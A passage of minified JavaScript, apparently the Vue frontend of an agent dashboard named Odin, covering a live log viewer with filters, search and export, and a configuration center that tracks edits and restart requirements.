0:i.status);m.status=y?["failed","error","cancelled","denied","outcome_unknown"].includes(k)?k:"failed":h?m.status||((l=m.metadata)==null?void 0:l.status)||"succeeded":"started",h&&m.status==="started"&&(m.status="succeeded"),y&&(m.error=y.error||((o=y.metadata)==null?void 0:o.error)||m.error);const A=Bd(m,r.id,r._time);Object.assign(A,{events:c,ts:r.ts,_time:r._time,searchText:c.map(g=>JSON.stringify(g)).join(` -`)}),e.splice(n,1,A)}e.length>s&&e.splice(0,e.length-s)}function Bd(e,t,s=new Date){var u,p;let a=e;if(In(e)&&e.type==="log"&&"line"in e?a=e.line:In(e)&&"payload"in e&&(a=e.payload),typeof a=="string")try{a=JSON.parse(a)}catch{}const n=In(a)?a:null,i=n!=null&&n.timestamp?new Date(n.timestamp):s,l=Number.isNaN(i.getTime())?s:i,o=n?n.result_summary??n.detail??n.message??JSON.stringify(n):typeof a=="string"?a:JSON.stringify(a)??"",c=(n==null?void 0:n.error)||((u=n==null?void 0:n.metadata)==null?void 0:u.error)||(n==null?void 0:n.success)===!1||[n==null?void 0:n.status,(p=n==null?void 0:n.metadata)==null?void 0:p.status].some(m=>["failed","error","cancelled","denied","outcome_unknown"].includes(m))?"ERROR":oo(n==null?void 0:n.level).toUpperCase()||"INFO",d={id:t,record:n,ts:l.toLocaleTimeString(),_time:l,level:c,text:typeof o=="string"?o:JSON.stringify(o),tool:oo(n==null?void 0:n.tool_name),raw:n?null:o,attribution:CC(n)};return d.searchText=n?JSON.stringify(n):d.text,d}function EC(e){const t=new Map;for(const s of e){const{turnId:a,agentId:n,rootId:i,label:l,parentId:o}=s.attribution,r=a?`turn:${a}`:n?`root:${i||n}`:"unattributed";t.has(r)||t.set(r,{key:r,title:a?`Turn ${a}`:n?`Agent root ${i||n} (turn unavailable)`:"Unattributed / legacy records",count:0,sections:[],_sections:new Map});const c=t.get(r),d=n?`agent:${n}`:"main";if(!c._sections.has(d)){const u={key:d,agentId:n,label:l,parentId:o,rootId:i,title:n?`${l||"Agent"} (${n})`:"Main thread / turn events",entries:[]};c._sections.set(d,u),c.sections.push(u)}c._sections.get(d).entries.push(s),c.count++}return[...t.values()].map(({_sections:s,...a})=>a)}const AC={components:{ToolOutput:pc},props:{entry:{type:Object,required:!0}},emits:["copy"],setup(e){const t=B(()=>SC(e.entry)),s=B(()=>{var o;return lo(((o=e.entry.record)==null?void 0:o.tool_input)??"")}),a=B(()=>{var o,r,c;return lo(((o=e.entry.record)==null?void 0:o.error)||((c=(r=e.entry.record)==null?void 0:r.metadata)==null?void 0:c.error)||"")}),n=B(()=>kC(e.entry.record)),i=B(()=>zg(e.entry)),l=B(()=>(e.entry.events||[e.entry.record]).filter(Boolean).map(o=>{var r;return{type:o.type||"execution",timestamp:o.timestamp||"Time not recorded",status:o.status||((r=o.metadata)==null?void 0:r.status)||""}}));return{display:t,argumentsText:s,errorText:a,metadataText:n,rawRecord:i,lifecycle:l}},template:` -
- - - - - -
`},RC=["INFO","WARNING","ERROR"],Yf="WARNING+",IC=[{id:"all",name:"All Logs",icon:"list",filters:{}},{id:"errors",name:"Errors Only",icon:"error",filters:{level:"ERROR"}},{id:"warnings",name:"Warnings+",icon:"warning",filters:{levels:["WARNING","ERROR"]}},{id:"tools",name:"Tool Activity",icon:"wrench",filters:{hasToolName:!0}},{id:"recent-errors",name:"Recent Errors",icon:"flame",filters:{level:"ERROR",timeRange:"last_1h"}}],Zc=[{value:"",label:"All Time"},{value:"last_5m",label:"Last 5 min",seconds:300},{value:"last_15m",label:"Last 15 min",seconds:900},{value:"last_1h",label:"Last 1 hour",seconds:3600},{value:"last_4h",label:"Last 4 hours",seconds:14400},{value:"last_24h",label:"Last 24 hours",seconds:86400}],OC=[50,100,200,500],LC={components:{ToolOutput:pc,LogRecord:AC,DiscordIdentity:Dn},template:` -
-
-
-

Logs

-

- {{ filteredLogs.length.toLocaleString() }} / {{ logs.length.toLocaleString() }} entries -

-

- {{ searchResults.length.toLocaleString() }} results -

-
-
- -
- - -
- - -
-
- - - - - - -
`,setup(){const e=f("live"),t=f([]);let s=0;const a=f(!1),n=f(!1),i=f(!0),l=f(""),o=f(""),r=f(!1),c=f(!1),d=f(mt.state||"disconnected"),u=B(()=>{switch(d.value){case"connected":return"Live";case"connecting":return"Connecting…";case"reconnecting":return"Reconnecting…";default:return"Disconnected"}}),p=f(null),m=f(!1),h=f(null),y=2e3,k=RC,A=IC,g=Zc,b=f("all"),x=f(""),w=f(!1),_=f([]),T=f(!1),L=f(""),E=f([]);function F(){try{const ue=localStorage.getItem("odin-log-presets");ue&&(_.value=JSON.parse(ue))}catch{}}function O(){try{localStorage.setItem("odin-log-presets",JSON.stringify(_.value))}catch{}}const I=B(()=>l.value!==""||o.value.trim()!==""||x.value!==""||w.value),H=B(()=>{const ue=Zc.find(Ce=>Ce.value===x.value);return ue?ue.label:""}),te=B(()=>{if(!r.value||!o.value)return null;try{return new RegExp(o.value,"i"),null}catch(ue){return ue.message}}),ee=24,N=B(()=>{if(ae.value.length===0)return[];const ue=[],Ce=new Date,qe=3600*1e3;for(let Ge=ee-1;Ge>=0;Ge--){const It=new Date(Ce.getTime()-(Ge+1)*qe),ot=new Date(Ce.getTime()-Ge*qe);ue.push({start:It,end:ot,label:ce(It,ot),shortLabel:ot.toLocaleTimeString([],{hour:"2-digit",minute:"2-digit"}),total:0,info:0,warnings:0,errors:0})}for(const Ge of ae.value){if(!Ge._time)continue;const It=Ge._time.getTime();for(const ot of ue)if(It>=ot.start.getTime()&&It{let ue=1;for(const Ce of N.value)Ce.total>ue&&(ue=Ce.total);return ue}),$=B(()=>{if(N.value.length===0)return"";const ue=ae.value.map(Ge=>Ge._time&&Ge._time.getTime()).filter(Boolean);if(ue.length===0)return"";const Ce=new Date(Math.min(...ue));return`${ae.value.length} shown, oldest ${Ce.toLocaleTimeString()}`}),re=B(()=>Math.ceil(ee/8));function ce(ue,Ce){const qe={hour:"2-digit",minute:"2-digit"};return ue.toLocaleTimeString([],qe)+" - "+Ce.toLocaleTimeString([],qe)}function Z(ue,Ce){return!Ce||!ue?"0px":Math.max(2,ue/Ce*100)+"%"}function Q(ue){const Ce=ae.value.findIndex(qe=>qe._time&&qe._time.getTime()>=ue.start.getTime()&&qe._time.getTime()=0&&p.value){const qe=p.value.querySelector('[data-log-id="'+ae.value[Ce].id+'"]');qe&&(qe.scrollIntoView({behavior:"smooth",block:"center"}),i.value=!1)}}const ae=B(()=>{let ue=t.value;if(w.value&&(ue=ue.filter(Ce=>!!Ce.tool)),l.value)if(l.value===Yf){const Ce={INFO:0,WARNING:1,ERROR:2,CRITICAL:3};ue=ue.filter(qe=>Ce[qe.level||"INFO"]>=Ce.WARNING)}else ue=ue.filter(Ce=>(Ce.level||"INFO")===l.value);if(x.value){const Ce=Zc.find(qe=>qe.value===x.value);if(Ce&&Ce.seconds){const qe=new Date(Date.now()-Ce.seconds*1e3);ue=ue.filter(Ge=>Ge._time&&Ge._time>=qe)}}if(o.value&&!te.value)if(r.value)try{const Ce=new RegExp(o.value,"i");ue=ue.filter(qe=>{const Ge=qe.searchText,It=qe.tool||"";return Ce.test(Ge)||Ce.test(It)})}catch{}else{const Ce=o.value.toLowerCase();ue=ue.filter(qe=>{const Ge=qe.searchText.toLowerCase(),It=(qe.tool||"").toLowerCase();return Ge.includes(Ce)||It.includes(Ce)})}return ue}),V=B(()=>EC(ae.value));function be(ue){const Ce=Bd(ue,++s);if(n.value){E.value.push(Ce);return}Oe(Ce)}function Oe(ue){TC(t.value,ue,y),i.value&&Ut(()=>le())}function le(ue=!1){const Ce=p.value;Ce&&Ce.scrollTo({top:Ce.scrollHeight,behavior:ue?"smooth":"instant"})}function oe(){i.value=!0,m.value=!1,Ut(()=>le(!0))}const ve=new Set(["PageUp","PageDown","ArrowUp","ArrowDown","Home","End"," "]);function j(){const ue=p.value;if(!ue)return;const Ce=ue.scrollHeight-ue.scrollTop-ue.clientHeight<40;m.value=!i.value&&!Ce&&t.value.length>0,P.value&&Y()}function Y(){const ue=p.value;!ue||!i.value||ue.scrollHeight-ue.scrollTop-ue.clientHeight>=40&&(i.value=!1,m.value=t.value.length>0)}function xe(){i.value&&requestAnimationFrame(Y)}function S(ue){ve.has(ue.key)&&xe()}const P=f(!1);function G(){i.value&&(P.value=!0,requestAnimationFrame(Y))}function he(){P.value&&(P.value=!1,Y())}function fe(){i.value&&(m.value=!1,Ut(()=>le()))}function me(){if(n.value=!n.value,!n.value&&E.value.length>0){for(const ue of E.value)Oe(ue);E.value=[]}}function we(){t.value=[],E.value=[],m.value=!1}function J(){let ue;e.value==="search"?ue=Ye.value.map(It=>{const ot=It.error?"ERROR":"INFO",pn=It.tool_name?`[${It.tool_name}] `:"";return`${It.timestamp||""} ${ot} ${pn}${It.result_summary||It.message||""}`}).join(` -`):ue=ae.value.map(Zf).join(` - -`);const Ce=new Blob([ue],{type:"text/plain"}),qe=URL.createObjectURL(Ce),Ge=document.createElement("a");Ge.href=qe,Ge.download=`odin-logs-${new Date().toISOString().slice(0,19).replace(/:/g,"-")}.txt`,Ge.click(),URL.revokeObjectURL(qe)}function ie(ue){const Ce=Zf(ue);navigator.clipboard.writeText(Ce).then(()=>{h.value=ue.id,setTimeout(()=>{h.value=null},1500)}).catch(()=>{})}function X(ue){l.value=l.value===ue?"":ue,b.value="all",w.value=!1}function _e(ue){return ue.level==="ERROR"?"log-line-error":ue.level==="WARNING"?"log-line-warning":"text-gray-300"}function U(ue){return ue==="ERROR"?"text-red-500 font-semibold":ue==="WARNING"?"text-yellow-500":"text-blue-500"}function de(ue){return ue==="ERROR"?"log-chip-error":ue==="WARNING"?"log-chip-warning":"log-chip-info"}function ge(ue){b.value=ue.id;const Ce=ue.filters;l.value=Ce.level||"",x.value=Ce.timeRange||"",o.value=Ce.text||"",w.value=!!Ce.hasToolName,Ce.levels&&(l.value=Ce.levels.includes("WARNING")&&Ce.levels.includes("ERROR")?Yf:Ce.levels[0]||"")}function Ae(ue){b.value=ue.id,l.value=ue.filters.level||"",x.value=ue.filters.timeRange||"",o.value=ue.filters.text||"",w.value=!!ue.filters.hasToolName}function $e(){if(!L.value.trim())return;const ue={id:"custom-"+Date.now(),name:L.value.trim(),filters:{level:l.value,timeRange:x.value,text:o.value,hasToolName:w.value||void 0}};_.value=[..._.value,ue],O(),T.value=!1,L.value=""}function We(ue){_.value=_.value.filter(Ce=>Ce.id!==ue),O(),b.value===ue&&(b.value="all",x.value="",w.value=!1,l.value="",o.value="")}const je=f("all"),Xe=f(""),it=f(""),Qe=f(""),se=f(""),Re=f(""),Le=f(100),Te=OC,W=f(!1),De=f(!1),ze=f(""),Ye=f([]),Dt=f(null),et=f(null);function Rt(){e.value="search",Dt.value||Pt()}async function Pt(){try{Dt.value=await z.get("/api/logs/stats")}catch{}}function Ts(){const ue=Re.value;if(!ue){Qe.value="",se.value="";return}const qe={last_5m:300,last_15m:900,last_1h:3600,last_4h:14400,last_24h:86400,last_7d:604800}[ue];if(qe){const Ge=new Date(Date.now()-qe*1e3);Qe.value=Vs(Ge),se.value=""}}function Vs(ue){const Ce=qe=>String(qe).padStart(2,"0");return`${ue.getFullYear()}-${Ce(ue.getMonth()+1)}-${Ce(ue.getDate())}T${Ce(ue.getHours())}:${Ce(ue.getMinutes())}`}function Gs(ue){if(!ue)return"";const Ce=new Date(ue);return isNaN(Ce.getTime())?"":Ce.toISOString()}let zt=0;async function ta(){if(W.value)return;const ue=++zt;W.value=!0,ze.value="",De.value=!0,et.value=null;try{const Ce=new URLSearchParams;je.value&&je.value!=="all"&&Ce.set("level",je.value),Xe.value&&Ce.set("tool",Xe.value),it.value&&Ce.set("q",it.value);const qe=Gs(Qe.value),Ge=Gs(se.value);qe&&Ce.set("start",qe),Ge&&Ce.set("end",Ge),Ce.set("limit",String(Le.value));const It=await z.get(`/api/logs/search?${Ce.toString()}`);if(ue!==zt)return;Ye.value=It.entries||[]}catch(Ce){if(ue!==zt)return;ze.value=Ce.message||"Search failed",Ye.value=[]}finally{ue===zt&&(W.value=!1)}}function Ws(){zt++,je.value="all",Xe.value="",it.value="",Qe.value="",se.value="",Re.value="",Le.value=100,Ye.value=[],De.value=!1,ze.value="",et.value=null,W.value=!1}function Pa(ue){et.value=et.value===ue?null:ue}function hs(ue){if(!ue.timestamp)return"";try{return new Date(ue.timestamp).toLocaleString()}catch{return ue.timestamp}}function $a(ue){return ue.type==="web_action"?`${ue.status||""} (${ue.execution_time_ms||0}ms)`:(ue.result_summary||"").slice(0,200)}function Es(ue){return ue.error?"log-line-error":"text-gray-300"}function Ct(ue){try{return JSON.stringify(ue,null,2)}catch{return String(ue)}}let ls=null,sa=!1;function ba(){sa||(sa=!0,mt.subscribe("logs",be),c.value=mt.connected,d.value=mt.state||"disconnected",ls=mt.onState(ue=>{d.value=ue,c.value=ue==="connected"}))}function Fe(){sa&&(sa=!1,mt.unsubscribe("logs",be),ls&&(ls(),ls=null))}return st(()=>{F(),window.addEventListener("pointerup",he),window.addEventListener("pointercancel",he)}),cs(ba),es(Fe),wt(()=>{Fe(),window.removeEventListener("pointerup",he),window.removeEventListener("pointercancel",he)}),{mode:e,logs:t,paused:n,autoScroll:i,levelFilter:l,textFilter:o,useRegex:r,groupByTurn:a,groupedLogs:V,subscribed:c,wsState:d,wsStateLabel:u,logContainer:p,filteredLogs:ae,pauseBuffer:E,showJumpBottom:m,copiedIndex:h,regexError:te,levels:k,logPresets:A,timeRanges:g,timeRange:x,toolOnly:w,activeLogPreset:b,customLogPresets:_,showSaveLogPreset:T,newLogPresetName:L,hasActiveLogFilters:I,timeRangeLabel:H,timelineBuckets:N,timelineMax:M,timelineSpanLabel:$,timelineLabelSkip:re,togglePause:me,clearLogs:we,exportLogs:J,logLineClass:_e,levelClass:U,levelChipClass:de,toggleLevel:X,copyLine:ie,jumpToBottom:oe,onScroll:j,onUserScrollIntent:xe,onUserScrollKey:S,onAutoScrollToggle:fe,onPointerDown:G,applyLogPreset:ge,applyCustomLogPreset:Ae,saveLogCustomPreset:$e,removeLogCustomPreset:We,segmentHeight:Z,jumpToTimelineBucket:Q,searchLevel:je,searchTool:Xe,searchKeyword:it,searchStart:Qe,searchEnd:se,searchTimePreset:Re,searchLimit:Le,searchLimits:Te,searching:W,searchRan:De,searchError:ze,searchResults:Ye,searchStats:Dt,expandedSearch:et,switchToSearch:Rt,runSearch:ta,clearSearchFilters:Ws,toggleSearchExpand:Pa,formatSearchTs:hs,searchEntryText:$a,searchLogLineClass:Es,formatJson:Ct,applySearchTimePreset:Ts}}};function Go(e=[]){const t=[],s=new Set;function a(n){const i=[n.kind,n.label,n.apply_mode||"",n.code||"",n.text||""].join("\0");s.has(i)||(s.add(i),t.push({...n,key:i}))}for(const n of e)for(const i of(n==null?void 0:n.consumers)||[])a({kind:"consumer",label:i.name,apply_mode:i.apply_mode,text:i.detail});for(const n of e)n!=null&&n.apply_handler&&a({kind:"handler",label:"Apply handler",code:n.apply_handler});for(const n of e)n!=null&&n.restart_reason&&a({kind:"restart",label:"Why a restart is required",text:n.restart_reason});for(const n of e)n!=null&&n.activation_policy&&a({kind:"activation",label:"Activation policy",text:n.activation_policy});return t}const NC=Object.freeze([{key:"all",label:"All fields",short:"All",icon:"grid"},{key:"applied",label:"Applied",short:"Applied",icon:"success"},{key:"pending_restart",label:"Pending restart",short:"Restart",icon:"refresh"},{key:"dormant",label:"Saved, not active",short:"Saved only",icon:"pause"},{key:"invalid",label:"Invalid",short:"Invalid",icon:"error"},{key:"drift",label:"Drift",short:"Drift",icon:"warning"},{key:"unknown",label:"Effective state unknown",short:"Unknown",icon:"info"}]);function MC(e,t={}){var n,i;const s=t.getStyle||(l=>globalThis.getComputedStyle(l)),a=Object.hasOwn(t,"fallback")?t.fallback:(n=globalThis.document)==null?void 0:n.scrollingElement;for(let l=e;l;l=l.parentElement){const o=((i=s(l))==null?void 0:i.overflowY)||"";if(/^(auto|scroll|overlay)$/.test(o)&&l.scrollHeight>l.clientHeight)return l}return a&&a.scrollHeight>a.clientHeight?a:e||a||null}const zi=[{key:"core",label:"Core",icon:"sliders",sections:["timezone","logging","permissions","graceful_degradation"]},{key:"models",label:"Models & AI",icon:"brain",sections:["image","llm_recovery"]},{key:"runtime",label:"Runtime",icon:"activity",sections:["context","sessions","agents","turn_state"]},{key:"data",label:"Data & Storage",icon:"database",sections:["learning","search","usage","audit","attachments"]},{key:"services",label:"Services",icon:"link",sections:["webhook","observability","email","browser","mcp"]},{key:"automation",label:"Automation",icon:"workflow",sections:["grafana_alerts","outbound_webhooks"]},{key:"infrastructure",label:"Infrastructure",icon:"server",sections:["tools","web"]}],DC={live_read:"Applies immediately",live_apply:"Dedicated live apply",live_for_new_work:"Applies to new work",restart:"Restart required",activation_required:"Saved only — see activation note",legacy_control:"Controlled elsewhere",dormant:"Saved for future support"},Wo=new Set(["llm_provider","openai_codex","ollama","openai_compatible","kimi","personality","discord","computer"]),PC=Object.freeze(["web.api_tokens","outbound_webhooks.targets"]);function Xf(e){return PC.some(t=>e===t||e.startsWith(`${t}.`))}const Hg="odin_config_center_expanded_v1",jg="odin_config_center_category_v1",$C=50,FC=650,gl=()=>z.get("/api/config/meta");function Gn(e){return e===void 0?void 0:JSON.parse(JSON.stringify(e))}function Oi(e,t){return JSON.stringify(e)===JSON.stringify(t)}function wi(e){return String(e).replace(/[_-]+/g," ").replace(/\b\w/g,t=>t.toUpperCase())}function BC(e){return e===void 0?"unset":e===null?"null":typeof e=="boolean"?e?"Enabled":"Disabled":Array.isArray(e)?e.length?`${e.length} item${e.length===1?"":"s"}`:"Empty list":typeof e=="object"?Object.keys(e).length?`${Object.keys(e).length} field${Object.keys(e).length===1?"":"s"}`:"Empty object":e===""?"Empty":String(e)}function UC(e){if(e===void 0)return"unset";if(e===null)return"null";if(typeof e=="object")try{return JSON.stringify(e,null,2)}catch{return String(e)}return String(e)}function qg(e,t){if(Oi(e,t))return;if(!(e&&t&&typeof e=="object"&&typeof t=="object"&&!Array.isArray(e)&&!Array.isArray(t)))return Gn(t);const a={};for(const[n,i]of Object.entries(t)){const l=qg(e[n],i);l!==void 0&&(a[n]=l)}return Object.keys(a).length?a:void 0}function zC(e,t){const s={};for(const[a,n]of Object.entries(t||{})){const i=qg(e==null?void 0:e[a],n);i!==void 0&&(s[a]=i)}return s}function Vg(e,t,s,a){if(Oi(e,t))return;if(e&&t&&typeof e=="object"&&typeof t=="object"&&!Array.isArray(e)&&!Array.isArray(t)){const i=new Set([...Object.keys(e),...Object.keys(t)]);for(const l of i)Vg(e[l],t[l],s?`${s}.${l}`:l,a);return}a.push({path:s,oldVal:e,newVal:t})}function HC(){try{const e=JSON.parse(localStorage.getItem(Hg)||"{}");return e&&typeof e=="object"&&!Array.isArray(e)?e:{}}catch{return{}}}function jC(){try{const e=localStorage.getItem(jg);return zi.some(t=>t.key===e)?e:zi[0].key}catch{return zi[0].key}}const qC={template:` -
-
-
-
System settings
-

Configuration center

-

- {{ sectionCount }} sections · {{ fieldCount }} settings · revision {{ meta?.revision || 'unavailable' }} -

-
-
- - - - -
-
- -
- {{ toast.message }} -
- -
-
-
-
-
-
-
-
- - - - -
- `,setup(){const e=f(null),t=f(null),s=f(!0),a=f(null),n=f(!1),i=f(null),l=f(!1),o=f(""),r=f(!1),c=f(""),d=f(""),u=f("");function p(C){i.value=C||null,C&&typeof C.authorized=="boolean"&&(l.value=C.authorized)}async function m(){try{const C=await z.get("/api/setup/status");p(C.listener),u.value=""}catch(C){p(null),u.value=`Listener status could not be loaded: ${C.message||"Unknown error"}`}}async function h(){if(!(!he.value||!o.value.trim()||r.value||G.value)){r.value=!0,c.value="",d.value="";try{const C=z.setListenerExposure(o.value.trim(),l.value);o.value="";const K=await C;c.value=K.message,p(K.listener)}catch(C){d.value=C.message||"Listener consent could not be saved."}finally{o.value="",r.value=!1}}}const y=f(null),k=["image_model","outer_model"],A=f(null),g=f(null),b=f(null),x=f(!1),w=f(!1),_=f(null),T=f(""),L=f("all"),E=f(jC()),F=f(HC()),O=f({}),I=f({}),H=f(""),te=f({}),ee=f({}),N=f([]),M=f([]),$=f(!1),re=f(!1),ce=f(!1);let Z=null,Q=null,ae={path:null,at:0},V=0;const be=B(()=>{var C;return(((C=t.value)==null?void 0:C.fields)||[]).filter(K=>!Wo.has(K.path.split(".")[0])&&!Xf(K.path))}),Oe=B(()=>new Map(be.value.map(C=>[C.path,C]))),le=B(()=>xe.value.reduce((C,K)=>C+K.sections.length,0)),oe=B(()=>be.value.length),ve=B(()=>NC),j=B(()=>N.value.length>0),Y=B(()=>M.value.length>0),xe=B(()=>{if(!e.value)return[];const C=new Set(zi.flatMap(Ee=>Ee.sections)),K=zi.map(Ee=>({...Ee,sections:Ee.sections.filter(Je=>Object.hasOwn(e.value,Je)&&!Wo.has(Je))})).filter(Ee=>Ee.sections.length),ne=Object.keys(e.value).filter(Ee=>!C.has(Ee)&&!Wo.has(Ee));return ne.length&&K.push({key:"other",label:"Other",icon:"folder",sections:ne}),K}),S=B(()=>e.value?{...e.value,...O.value}:null),P=B(()=>{if(!e.value)return[];const C=[];for(const[K,ne]of Object.entries(O.value))Vg(e.value[K],ne,K,C);return C.filter(K=>!Oi(K.oldVal,K.newVal)).map(K=>{const ne=it(K.path);return{...K,label:(ne==null?void 0:ne.label)||wi(K.path.split(".").at(-1)),apply_mode:(ne==null?void 0:ne.apply_mode)||De(K.path.split(".")[0])}})}),G=B(()=>P.value.length>0),he=B(()=>!!i.value&&l.value!==i.value.authorized),fe=B(()=>{var K;const C=(K=i.value)==null?void 0:K.state;return C==="active"||C==="authorized_loopback"?"active":["pending_widening","pending_narrowing","active_rebind_pending"].includes(C)?"pending":C==="restricted"?"restricted":"unknown"}),me=B(()=>{var C;return{active:"Exposure active",authorized_loopback:"Authorized · loopback host",pending_widening:"Authorized · restart pending",pending_narrowing:"Restriction saved · restart pending",active_rebind_pending:"Exposed · restart pending",restricted:"Loopback only",unknown:"Runtime state unavailable"}[(C=i.value)==null?void 0:C.state]||"Loading listener state"}),we=B(()=>i.value?i.value.authorized?i.value.authorization_source==="explicit"?"Beyond-loopback access is explicitly authorized":"Beyond-loopback access is retained from this installation":"Beyond-loopback access is not authorized":"Unavailable"),J=B(()=>{var C;return{explicit:"saved explicitly in config.yml",default:"schema default; no web.host key is saved",unknown:"source could not be verified"}[(C=i.value)==null?void 0:C.configured_host_source]||"source unavailable"}),ie=B(()=>{const C=i.value;return!C||C.running_scope==="unavailable"?"Actual bound address unavailable":`${(C.listening_hosts||[]).map((ne,Ee)=>{var St;const Je=(St=C.listening_ports)==null?void 0:St[Ee];return Je?`${ne}:${Je}`:ne}).join(", ")} · ${C.running_scope==="loopback"?"loopback only":"accepting beyond loopback"}`}),X=B(()=>P.value.length),_e=B(()=>new Set(P.value.map(C=>C.path.split(".")[0])).size),U=B(()=>!!T.value||L.value!=="all"),de=B(()=>{const C={...ee.value};for(const K of P.value){const ne=it(K.path),Ee=pe(ne,K.newVal);Ee&&(C[K.path]=Ee)}return C}),ge=B(()=>Object.keys(de.value).length>0),Ae=B(()=>e.value?(U.value?xe.value:xe.value.filter(K=>K.key===E.value)).map(K=>({...K,sections:K.sections.filter(ne=>Es(ne))})).filter(K=>K.sections.length):[]),$e=B(()=>{const C=["live_read","live_apply","live_for_new_work","restart","activation_required","legacy_control","dormant"],K=new Map(C.map(ne=>[ne,[]]));for(const ne of P.value){const Ee=K.has(ne.apply_mode)?ne.apply_mode:"restart";K.get(Ee).push(ne)}return C.filter(ne=>K.get(ne).length).map(ne=>({key:ne,label:ds(ne),entries:K.get(ne)}))}),We=B(()=>P.value.filter(C=>C.apply_mode==="restart").length),je=B(()=>be.value.filter(C=>C.pending_restart)),Xe=B(()=>je.value.length);function it(C){const K=Oe.value.get(C);return K?{...K,apply_details:Go([K])}:null}function Qe(C){const K=`${C}.`;return be.value.filter(ne=>ne.path===C||ne.path.startsWith(K))}function se(){return be.value.some(C=>C.path==="tools.hosts"||C.path.startsWith("tools.hosts."))}function Re(){var ne,Ee;const C=((Ee=(ne=e.value)==null?void 0:ne.tools)==null?void 0:Ee.hosts)||{},K=Object.keys(C).length;return`${K} host${K===1?"":"s"} configured.`}function Le(C){return Qe(C).length}function Te(C){return wi(C)}function W(C){const K=Qe(C);if(!K.length)return`${wi(C)} configuration.`;const ne=K.find(St=>St.sensitivity==="public"&&St.description)||K.find(St=>St.description),Ee=(ne==null?void 0:ne.description)||"";return Ee.match(/setting for (.+)\.$/i)?`${wi(C)} settings and runtime behaviour.`:Ee}function De(C){const K=[...new Set(Qe(C).map(ne=>ne.apply_mode))];return K.length===1?K[0]:K.includes("restart")?"restart":K.includes("activation_required")?"activation_required":K[0]||"restart"}function ze(C){const K=[...new Set(Qe(C).map(ne=>ds(ne.apply_mode)))];return K.length?K.length===1?K[0]:`Mixed apply behaviour: ${K.join(" · ")}`:""}function Ye(C){return Go(Qe(C))}function Dt(C){var K;return Object.hasOwn(O.value,C)?O.value[C]:(K=e.value)==null?void 0:K[C]}function et(){const C=Dt("mcp")||{},K=Object.keys(C.servers||{}).length;return`${C.enabled?"Globally enabled":"Globally disabled"} · ${K} configured server${K===1?"":"s"}.`}function Rt(C,K){return K.split(".").reduce((ne,Ee)=>ne==null?void 0:ne[Ee],C)}function Pt(C){const K=S.value;return Qe(C).filter(ne=>Xf(ne.path)?!1:ne.path.split(".").length<=2?!0:!ne.path.includes(".*")).map(ne=>({...ne,key:ne.path.split(".").at(-1),value:Rt(K,ne.path),apply_details:Go([ne]),editor:ne.path==="agents.final_warning_iterations"?"warning-chips":null}))}function Ts(C){const K=C.path.split(".");return K.length>2?K.slice(0,2).join("."):null}function Vs(C){const K=new Map;for(const ne of Pt(C)){const Ee=Ts(ne),Je=Ee||`${C}.__root`;K.has(Je)||K.set(Je,{key:Je,path:Ee,entries:[]}),K.get(Je).entries.push(ne)}return[...K.values()].map(ne=>{const Ee=ne.entries.find(Je=>Je.group_description);return{...ne,label:ne.path?wi(ne.path.split(".").at(-1)):null,description:(Ee==null?void 0:Ee.group_description)||null,apply_details:Go(ne.entries),runtime_summaries:zt(ne.entries)}})}function Gs(C){return{save:C.save_effect||(C.apply_mode==="dormant"?"Saving records this value in config.yml.":"Saving records this value and validates the section."),runtime:C.runtime_effect||{live_read:"Odin reads the saved value during current work.",live_apply:"Odin reloads this setting without a restart.",live_for_new_work:"New work uses the saved value; existing work keeps its snapshot.",restart:"Odin keeps using its startup value until a clean restart.",activation_required:"Odin keeps the current behavior until you enable this feature separately.",legacy_control:"Odin keeps the existing compatibility behavior until you apply this choice.",dormant:"This version of Odin does not use the saved value. Restarting will not activate it."}[C.apply_mode]||"Effective runtime state is not currently observable."}}function zt(C){const K=new Map;for(const ne of C){const Ee=Gs(ne),Je=`${ne.apply_mode}|${Ee.save}|${Ee.runtime}`;K.has(Je)||K.set(Je,{key:Je,label:ds(ne.apply_mode),save:Ee.save,runtime:Ee.runtime})}return[...K.values()]}function ta(C){if(Ws(C))return C.runtime_effect||C.activation_policy||"";if(C.apply_mode==="activation_required"){const K=C.activation_policy||C.runtime_effect;return K?`Not active after saving. No activation control exists in this release. ${K}`:"Not active after saving; no activation control exists in this release."}return""}function Ws(C){return C.action_available===!0&&!!(C.action_label&&C.action_endpoint)}async function Pa(C){if(Ws(C))try{if(Fe(C.path))throw new Error("Save this setting before applying its action.");const K=String(C.action_method||"POST").toLowerCase(),ne={post:z.post.bind(z),put:z.put.bind(z),delete:z.del.bind(z)}[K];if(!ne)throw new Error("Unsupported configuration action");await ne(C.action_endpoint,C.action_body||void 0),await gn(),As("success",`${C.action_label} completed.`)}catch(K){As("error",K.message||`${C.action_label} failed`)}}function hs(C,K){return[C.label,C.path,C.description,...C.aliases||[]].filter(Boolean).join(" ").toLowerCase().includes(K)}function $a(C){const K=T.value.trim().toLowerCase();return K?Qe(C).filter(ne=>hs(ne,K)):[]}function Es(C){const K=Qe(C);if(L.value!=="all"&&!K.some(Ee=>Ee.apply_state===L.value))return!1;const ne=T.value.trim().toLowerCase();return!ne||`${Te(C)} ${C}`.toLowerCase().includes(ne)?!0:K.some(Ee=>hs(Ee,ne))}function Ct(C,K){return Qe(C).filter(ne=>ne.apply_state===K).length}function ls(C){return C==="all"?oe.value:be.value.filter(K=>K.apply_state===C).length}function sa(C){const K=C.sections.flatMap(ne=>Qe(ne));return{fields:K.length,modified:P.value.filter(ne=>C.sections.includes(ne.path.split(".")[0])).length,pending_restart:K.filter(ne=>ne.apply_state==="pending_restart").length,invalid:K.filter(ne=>ne.apply_state==="invalid").length,dormant:K.filter(ne=>ne.apply_state==="dormant").length}}function ba(C){var K;return Object.hasOwn(O.value,C)&&!Oi((K=e.value)==null?void 0:K[C],O.value[C])}function Fe(C){return P.value.some(K=>K.path===C||K.path.startsWith(`${C}.`))}function ue(C){E.value=C,T.value="",L.value="all";try{localStorage.setItem(jg,C)}catch{}}function Ce(C){L.value=C}function qe(){T.value="",L.value="all"}function Ge(C){var K;return((K=xe.value.find(ne=>ne.sections.includes(C)))==null?void 0:K.sections)||[]}function It(C){const K=Ge(C),ne=K.find(Ee=>F.value[Ee]===!0);return ne||K.find(Ee=>F.value[Ee]!==!1)||null}function ot(C){return T.value&&!ce.value&&Es(C)?!0:ce.value?It(C)===C:Object.hasOwn(F.value,C)?F.value[C]===!0:!0}function pn(C){const K=!ot(C);if(ce.value){const ne={...F.value};for(const Ee of Ge(C))ne[Ee]===!0&&(ne[Ee]=!1);ne[C]=K,F.value=ne;return}F.value={...F.value,[C]:K}}function pi(){N.value.push(Gn(O.value)),N.value.length>$C&&N.value.shift(),M.value=[]}function 